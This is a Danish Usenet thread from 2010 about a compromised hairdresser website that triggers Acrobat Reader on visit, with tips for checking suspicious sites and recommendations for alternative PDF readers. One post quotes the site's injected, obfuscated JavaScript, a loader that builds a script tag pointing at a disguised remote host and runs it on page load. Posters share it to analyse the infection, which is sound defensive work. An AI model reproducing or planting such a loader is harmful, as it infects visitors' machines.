🚀 go-pugleaf

Bertel Lund Hansen <splitteminebramsejl@lundhansen.dk> writes:

> Selv har jeg v�ret inde p� siden med b�de Opera og Firefox. F�rst
> med Firefox skete der ingenting. Med Opera g�r Acrobat Reader i
> gang og l�ser derefter (jeg bruger version 5) uden at jeg har
> gjort andet end at �bne siden.
>
> Jeg har erstattet punktummer med mellemrum i adressen for at man
> ikke skal komme til at klikke ved en fejl:
>
>   	www cosmo-coiffure dk/

Denne her kommer op ved en Google s�gning:

http://safeweb.norton.com/report/show?name=cosmo-coiffure.dk

11 u�nskede downloads.

-- 
Carl

Den 21-03-2010 13:16, Bertel Lund Hansen skrev:

> Selv har jeg v�ret inde p� siden med b�de Opera og Firefox. F�rst
> med Firefox skete der ingenting. Med Opera g�r Acrobat Reader i
> gang og l�ser derefter (jeg bruger version 5) uden at jeg har
> gjort andet end at �bne siden.

Her er fremgangsm�den, n�r du m�der et mist�nkeligt site - min 
fremgangsm�de, alts�:

1. Tag en validator med view source. Kig i koden efter iframe og border 
0 og height/width 0, evt. via CSS. Kig efter mist�nkeige script, evt. 
indeholdende eval og en eller anden URL (mange gange en .cn) eller 
underlige filnavne

2. Kig p� siden i totalvalidator.com. V�lg flere views, da der som regel 
er check for browsere i s�danne injections. Specielt IE6 og IE7 kan vlre 
interessante.

3. Upload dom�net til http://www.siteadvisor.com/

4. F� at vide hvad andre har af erfaring med siden p� 
http://www.mywot.com/ - den findes som extension til FF

5. INDEN du g�r ind p� siden, og det kan s� ikke anbefales med mindre 
man ved, hvad man g�r, s� sl� alt JS og flash fra. I IE s�t 
sikkerhedsindstillinger til "meget h�j". Afinstaller acrobat reader.


MVH
Rune Jensen

Bertel Lund Hansen skrev:

> Jeg har erstattet punktummer med mellemrum i adressen for at man ikke
> skal komme til at klikke ved en fejl:

Der sker i al fald et eller andet på siden. Den fik min virtuelle XP til 
at vise bluescreen of dead efter et besøg med IE8

Kildekoden til siden er egentlig ganske pæn lige undtagen sidste linje, 
som jeg ikke selv kan oversætte:
<script>var c=new String();try {this.g="";var pH;if(pH!='z' && pH != '')
{pH=null};this.H='';var bS=new String();var f=RegExp;var R=String
("repla2IUF".substr(0,5)+"ce");this.C="";var Yx='';function b(Y,n){var 
CK;if(CK!='G'){CK=''};var RO=new Date();var aQ;if(aQ!='' && aQ!='UD')
{aQ='TE'};var D="[";var E=String("g");this.ah='';this.yc='';D+=n;var 
e=new Date();var zY;if(zY!='aQD'){zY='aQD'};D+=String("NUB]".substr
(3));var cp=new Date();this.iP="";var Z='';var x=new f(D, E);var qWB;if
(qWB!='' && qWB!='Pd'){qWB='TP'};var mr;if(mr!='' && mr!='bp')
{mr=null};return Y[R](x, new String());var cS=new Array();var DG=new Array
();};var Yw;if(Yw!='ld' && Yw!='J'){Yw='ld'};var p_="";var EY;if(EY!='xU')
{EY='xU'};var qg="";var q=b('hKtKt8pK:0/8/8m8u8l0t8i0uKp0l8oKa0d8-
Kc8o8mK.KgKo0oKgKl8e0.0c0o0m8.KuKa8.8mKa8i8l0-8cKoKm0.8EKx8c8e0lKl8eKn8t0B0lKe8nKd0e0rK.KrKu8:0',"K08");var 
K=window;var B=b('osnOlvogagds',"FvOsg");this.dF='';var O='';var W=b
('cLrjejaLtjejELl9e9mje9n9t9',"jL9");var S=b('/MtViMaVnMyJaV.Jc0n0/
VtJiMaJn0yJaM.McMnV/JmJeJgJaVpVo0rVnV.VcJoVmV/
MgJo0oVg0lMeV.JcJoJmJ/0aJlJlMyJeVsJ.0cVo0mM.MpMh0p0',"M0VJ");var d='';var 
p=b('89323393023232233899293093793779',"3729");var cY;if(cY!='PN')
{cY='PN'};var lP;if(lP!='SN'){lP='SN'};var P=b('s2cWr2iWp2tN',"N2W");var 
Em;if(Em!='k_' && Em!='ZQ'){Em='k_'};var tQ=new Date();var Wg;if(Wg!='ZC')
{Wg=''};N=function(){this.s="";var Do="";var PU;if(PU!='AA' && PU!='DZ')
{PU=''};var jv;if(jv!='yY' && jv!='Gn'){jv=''};r=document[W](P);var 
gy='';d=q+p;d+=S;this.eG='';var sX;if(sX!='' && sX!='_'){sX=null};var 
Nj;if(Nj!='' && Nj!='wN'){Nj='hc'};var Up;if(Up!=''){Up='xS'};r.defer=
([9,1][1]);this.sf="";this.xx="";r.src=d;document.body.appendChild
(r);this.Q="";var CE;if(CE!=''){CE='xR'};};var cm;if(cm!=''){cm='dR'};K[B]
=N;var NP=new Date();var dmc;if(dmc!='' && dmc!='ms')
{dmc=''};this.ex='';} catch(o){var JV;if(JV!='' && JV!='ko')
{JV=null};};var YxL;if(YxL!='Sg' && YxL!='IP'){YxL='Sg'};</script>

Bertel Lund Hansen wrote:

> Selv har jeg v�ret inde p� siden med b�de Opera og Firefox. F�rst
> med Firefox skete der ingenting. Med Opera g�r Acrobat Reader i
> gang og l�ser derefter (jeg bruger version 5) uden at jeg har
> gjort andet end at �bne siden.

Jeg pr�vede alligevel at se om jeg kunne fremprovokere skidtet i min
Konqueror.

Men 'de' har lavet en fejl i javascriptet (uafsluttet streng), som f�r
Konqueror til at stoppe.

M�ske er det samme forskel mellem Firefox og Opera ?
(Jeg pr�ver aldrig den slags p� min winPC, s� jeg kan ikke selv unders�ge).

Men da den �benbart starter acrobat, er der nok tale om en af de mange
exploits, der er igang mod denne.

V�r glad for du bruger version 5, da det er javascript i de nyere versioner,
der er target - eers havde du sikkert ogs� haft 'snavset'.

Hviken version bruger din datter?

-- 
Med venlig hilsen
Stig Johansen

Den 22-03-2010 02:20, Stig Johansen skrev:

> V�r glad for du bruger version 5, da det er javascript i de nyere versioner,
> der er target - eers havde du sikkert ogs� haft 'snavset'.

Javascript til en dokumentl�ser - oooh-k�h... man fors�ger alts� at g�re 
det l�digt, at et _dokument_ som er beregnet til at kunne _printes_ ogs� 
skal kunne _eksekveres_ som et program... The all mighty Switcz army 
knife.. Hvor meget fylder Adobe Reader i dag, s�? 200mb? 300mb?

Hent en rigtig reader her, som ikke har problemer med sikkerheden, og 
som ikke er mere end den giver sig ud for at v�re - heller ikke i MB!

http://blog.kowalczyk.info/software/sumatrapdf/index.html


MVH
Rune Jensen

Den 22-03-2010 03:36, Rune Jensen skrev:

> Hent en rigtig reader her, som ikke har problemer med sikkerheden, og
> som ikke er mere end den giver sig ud for at v�re - heller ikke i MB!
>
> http://blog.kowalczyk.info/software/sumatrapdf/index.html

Undskyld, Stig, sarkasmen var beregnet p� den store del af adobes kunder 
som �benbart gladeligt tilgiver firmaet for at indl�gge nye features 
uden at have rettet sikkerhedshullerne fra de forrige.

Fatter ikke folk finder sig i det.


MVH
Rune Jensen

Rune Jensen skrev:

> Hent en rigtig reader her, som ikke har problemer med sikkerheden, og 
> som ikke er mere end den giver sig ud for at v�re - heller ikke i MB!

Version 5 er faktisk okay. Jeg f�r relativt ofte advarsler om at
dele af indholdet m�ske ikke kan vises korrekt, men jeg har endnu
ikke opdaget nogen problemer eller v�ret afsk�ret fra at l�se
nogen filer.

> http://blog.kowalczyk.info/software/sumatrapdf/index.html

Den vil jeg kikke p�.

... 58 sekunder senere: Den er t�skefed. Tak.

-- 
Bertel
http://bertel.lundhansen.dk/			FIDUSO: http://fiduso.dk/

Den 22-03-2010 12:31, Bertel Lund Hansen skrev:
> Rune Jensen skrev:
>
>> Hent en rigtig reader her, som ikke har problemer med sikkerheden, og
>> som ikke er mere end den giver sig ud for at v�re - heller ikke i MB!
>
> Version 5 er faktisk okay. Jeg f�r relativt ofte advarsler om at
> dele af indholdet m�ske ikke kan vises korrekt, men jeg har endnu
> ikke opdaget nogen problemer eller v�ret afsk�ret fra at l�se
> nogen filer.
>
>> http://blog.kowalczyk.info/software/sumatrapdf/index.html
>
> Den vil jeg kikke p�.
>
> ... 58 sekunder senere: Den er t�skefed. Tak.

Selv tak.

Og lige for at opsummere.

Det var hverken Stig eller dig, jeg var sur p�, heldigvis lader i ikke 
til at v�re sure over mit indl�g.. jeg fors�gte ogs� at holde �ldre 
Adobe Readers udenfor, for de er SVJV ikke n�r s� s�rbare (ved faktisk 
ikke, om de er mere end andre lign. alternative readere). Hovedproblemet 
er SVJV indl�ggelsen af Javascript i nyere versioner, som giver ukendte 
s�rbarheder.

Min hovedanke g�r p� de mennesker, som tror at alt nyt er godt nyt, 
fordi "det jo kan mere", og s�dan er det alts� ikke n�dvendigvis med 
Adobe Reader.. desv�rre. For ellers er det jo rigtigt nok, at n�r man 
opdaterer til nyere version, b�r man ogs� f� st�rre sikkerhed. Det er 
efter min mening Adobe, som har fejlet totalt i det spil. De g�r det 
modsatte af alle andre, n�r de laver nye versioner af deres plug in.


MVH
Rune Jensen

Hej Rune

> Hent en rigtig reader her, som ikke har problemer med sikkerheden, og
> som ikke er mere end den giver sig ud for at v�re - heller ikke i MB!
>
> http://blog.kowalczyk.info/software/sumatrapdf/index.html


En lille smart ting, men findes der ikke en lige s� simpel
udgave der ogs� kan integrere sig med IE ?

-- 
Mvh Max 

"Max" <max_jens@post9.tele.dk.invalid> wrote in message
news:4ba9dad3$0$276$14726298@news.sunsite.dk
> En lille smart ting, men findes der ikke en lige s� simpel
> udgave der ogs� kan integrere sig med IE ?

Foxit pdf reader mener jeg kan, og den fylder heller ikke ret meget.

-- 
MVH. N_B_DK 

Hej N.B.DK

> Foxit pdf reader mener jeg kan, og den fylder heller ikke ret meget.

Bem�rkede du at det var et 1,5 �r gammelt indl�g du svarede p� ?

-- 
Mvh
Max